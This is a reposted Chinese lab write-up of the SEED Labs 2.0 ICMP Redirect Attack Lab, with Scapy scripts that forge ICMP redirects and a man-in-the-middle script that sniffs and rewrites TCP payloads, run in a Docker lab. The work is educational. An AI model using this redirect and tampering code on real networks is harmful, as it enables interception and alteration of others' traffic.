【SEED Labs 2.0】ICMP Redirect Attack Lab

这篇具有很好参考价值的文章主要介绍了【SEED Labs 2.0】ICMP Redirect Attack Lab。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文为 SEED Labs 2.0 - ICMP Redirect Attack Lab 的实验记录。

实验原理

ICMP 重定向是路由器向 IP 数据包发送者发送的错误消息。 当路由器认为数据包被错误地路由时,使用重定向,并且它想通知发送者它应该为随后发送到同一目的地的数据包使用不同的路由器。攻击者可以使用 ICMP 重定向来更改受害者的路由。
本实验的目的是对受害者发起 ICMP 重定向攻击,这样当受害者向 192.168.60.5 发送数据包时,它将使用恶意路由器容器(10.9.0.111)作为其路由器。由于恶意路由器被攻击者控制,攻击者可以截取数据包,进行修改,然后将修改后的数据包发送出去。这是中间人 (MITM) 攻击的一种形式。本实验涵盖以下主题:

  • IP 和 ICMP 协议
  • ICMP 重定向攻击
  • 路由

Task 1: Launching ICMP Redirect Attack

【SEED Labs 2.0】ICMP Redirect Attack Lab

启动 docker:

$ dcbuild
$ dcup

首先修改 shell 以便查看:

# export PS1="\w victim-10.9.0.5$ "
# export PS1="\w attacker-10.9.0.105$ "
# export PS1="\w host-192.168.60.5$ "
# export PS1="\w malicious-router-10.9.0.111$ "

首先在 victim 上查看到 192.168.60.5 的路由:

victim-10.9.0.5$ mtr -n 192.168.60.5

【SEED Labs 2.0】ICMP Redirect Attack Lab

这里的路由是正常的。

然后保持其 ping 192.168.60.5:

victim-10.9.0.5$ ping 192.168.60.5 &

编写 icmp.py

#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

在 attacker 上运行:

attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.

此时 victim 的路由改变:

victim-10.9.0.5$ mtr -n 192.168.60.5

【SEED Labs 2.0】ICMP Redirect Attack Lab

Question 1: Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.

修改程序:

#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '192.168.60.6'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

然后保持victim ping 192.168.60.5

victim-10.9.0.5$ ping 192.168.60.5 &

清空 cache:

victim-10.9.0.5$ ip route flush cache

在 attacker 上运行:

attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.

此时查看 victim 的路由:

victim-10.9.0.5$ mtr -n 192.168.60.5

【SEED Labs 2.0】ICMP Redirect Attack Lab

可以看出,此时没有变化。

Question 2: Can you use ICMP redirect attacks to redirect to a non-existing machine on the same network? Namely, the IP address assigned to icmp.gw is a local computer that is either offline or non-existing. Please show your experiment result, and explain your observation.

修改程序:

#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.99'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

然后保持 victim ping 192.168.60.5

victim-10.9.0.5$ ping 192.168.60.5 &

清空 cache:

victim-10.9.0.5$ ip route flush cache

在 attacker 上运行:

attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.

此时查看 victim 的路由:

victim-10.9.0.5$ mtr -n 192.168.60.5

【SEED Labs 2.0】ICMP Redirect Attack Lab

可以看出,此时没有变化。:

Question 3: If you look at the docker-compose.yml file, you will find the following entries for the malicious router container. What are the purposes of these entries? Please change their value to 1, and launch the attack again. Please describe and explain your observation.

修改 dockerfile:

- net.ipv4.conf.all.send_redirects=1
- net.ipv4.conf.default.send_redirects=1
- net.ipv4.conf.eth0.send_redirects=1

编写 icmp.py:

#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

在 attacker 上运行:

attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.

此时查看 victim 的路由:

victim-10.9.0.5$ mtr -n 192.168.60.5

【SEED Labs 2.0】ICMP Redirect Attack Lab

可以看到,也失败了。

Task 2: Launching the MITM Attack

先把所有东西改回原样。

关闭转发:

- net.ipv4.ip_forward=0

保持 victim ping 192.168.60.5:

victim-10.9.0.5$ ping 192.168.60.5 &

编写 icmp.py:

#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

在 attacker 上运行:

attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.

编写 mitm.py

#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'Chenyang', b'AAAAAAAA')

       send(newpkt/newdata)
   else: 
       send(newpkt)

f = 'tcp and ether src 02:42:0a:09:00:05' 
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

在 malicious-server 上运行:

malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........

在 host 上启动 nc:

host-192.168.60.5$ nc -lp 9090

在 victim 上连接并发送内容:

victim-10.9.0.5$ nc 192.168.60.5 9090
aaaa
Chenyang

host 接收到:

host-192.168.60.5$ nc -lp 9090
aaaa
AAAAAAAA

malicious-server 显示:

malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
*** b'aaaa\n', length: 5
.
Sent 1 packets.
*** b'Chenyang\n', length: 9
.
Sent 1 packets.

可以看到,攻击成功。

Question 4: In your MITM program, you only need to capture the traffics in one direction. Please indicate which direction, and explain why.

只需要过滤出 victim 到 host 的报文即可,因为需要修改的报文就在这个方向上。

Question 5: In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A’s IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both, and use your experiment results to show which choice is the correct one, and please explain your conclusion.

修改 mitm.py

#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'Chenyang', b'AAAAAAAA')

       send(newpkt/newdata)
   else: 
       send(newpkt)

f = 'tcp and src host 10.9.0.5' 
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

在 malicious-server 上运行:

malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........

在 host 上启动 nc:

host-192.168.60.5$ nc -lp 9090

在 victim 上连接并发送内容:

victim-10.9.0.5$ nc 192.168.60.5 9090
aaaa
Chenyang

host 接收到:

host-192.168.60.5$ nc -lp 9090
aaaa
AAAAAAAA

malicious-server 显示:

malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAAAAAAA\n', length: 9
.
Sent 1 packets.
*** b'aaaa\n', length: 5

可以看到,攻击成功。但是 malicious-server 却在疯狂地发送报文。这是因为它捕获到了自己发送的报文,发送完又捕获到了,陷入了死循环。

实验总结

本实验较为简单。文章来源地址https://www.toymoban.com/news/detail-445855.html

到了这里,关于【SEED Labs 2.0】ICMP Redirect Attack Lab的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【SEED Labs 2.0】Public-Key Infrastructure (PKI) Lab

    本文为 SEED Labs 2.0 - Public-Key Infrastructure (PKI) Lab 的实验记录。 如今,公钥密码学已经成为了安全通信的基础。但是当通信的一方将其公钥发送给另一方时,它会受到中间人攻击。问题在于无法验证公钥的所有权——即给定公钥及其声称的所有者信息。我们如何确保公钥确实由

    2024年02月07日
    浏览(44)
  • 【SEED Labs 2.0】Virtual Private Network (V*N) Lab

    本文为 SEED Labs 2.0 - Virtual Private Network (V*N) Lab 的实验记录。 本实验要求完成 V*N 的实现。其应当支持 TUN 建立、隧道加密、服务器认证、客户端登录、多用户等功能。 本实验的实验手册使用多虚拟机与 C 语言完成,而我们希望直接 使用 docker 和 Python 。我们一步到位完成了所

    2024年02月07日
    浏览(31)
  • 初-SEED 2.0实验环境搭建

    SEED LABS是一系列的网络安全实验,其基本囊括了信息安全本科生所涉及到的几乎每个方面,例如软件安全,Web安全,密码学安全等。而每一个方面的实验又由好几个单独的实验组成。 不需要物理的实验空间。 不需要专门的机器,所有的实验任务都可以在学生的电脑上完成。

    2024年02月09日
    浏览(24)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(28)
  • [SEEDLabs] Meltdown & Spectre Attack Labs

    系统安全分类下的两个实验,放在一起写。Meltdown 和 Spectre 是两个关于体系结构的漏洞,主要是利用了缓冲延时的侧信道攻击方法。 这次实验用的是官方网站发布的预装环境的Ubuntu16,看官网的说明meltdown的大部分的实验在Ubuntu20上面也可以做,但是还是有不行的,spectre的话

    2024年02月05日
    浏览(27)
  • 【SEED LAB】Cross-Site Request Forgery (CSRF) Attack Lab -跨站请求伪造

    实际上,用户网页对于网址的请求分为两种。一种是用户浏览器发送给相同网站的数据,被称为 same-site request 。相反,用户浏览器发送给其他网站的数据被称为 cross-site request 也就是跨境请求。 在HTTP传输过程中,产生的响应形式一般分成两种。一种是 GET 型,另一种是 POST

    2024年02月09日
    浏览(29)
  • Packet Sniffing and Spoofing Lab(报文嗅探&欺骗SEED 实验)

    本次实验的目的有两点:学习使用报文嗅探欺骗的工具、理解其背后的原理。 本次实验使用处在同一局域网下的三台机器,使用docker运行,其文件在官网上可以下载,具体使用方法可以参考我的PKI实验报告。网络拓扑如图: 1.1 嗅探报文 最简单的一个嗅探代码,利用 ifconfi

    2024年02月07日
    浏览(33)
  • 实验:IP 与 ICMP 分析

    IP 和 ICMP 协议是 TCP/IP 协议簇中的网络层协议,在网络寻址定位、数据分组转发和路由选择等任务中发挥了重要作用。本实验要求熟练使用 Wireshark 软件,观察 IP数据报的基本结构,分析数据报的分片;掌握基于 ICMP 协议的 ping 和 traceroute 命令其工作原理ࣿ 启动 Wireshark,捕捉

    2024年02月04日
    浏览(15)
  • 《计算机网络—自顶向下方法》 Wireshark实验(八):ICMP 协议分析

            ICMP(Internet Control Message Protocol)网络控制报文协议。它是 TCP/IP 协议簇的一个子协议,用于在 IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数

    2024年01月25日
    浏览(31)
  • 阿里巴巴人工智能实验室(Ali A.I. Labs)负责人浅雪近期问答整理

    目前开发者平台成为大厂兵家必争之地。谷歌开发者平台,紧随其后百度的AI开发者平台,科大讯飞开放平台(挑了一个1024大吉大利的日子发布)。人工智能时代,连硬件厂商曙光都开始做开发者平台了(10月24日,曙光发布系列人工智能软硬件平台。基于自家硬件服务器提供

    2024年02月15日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包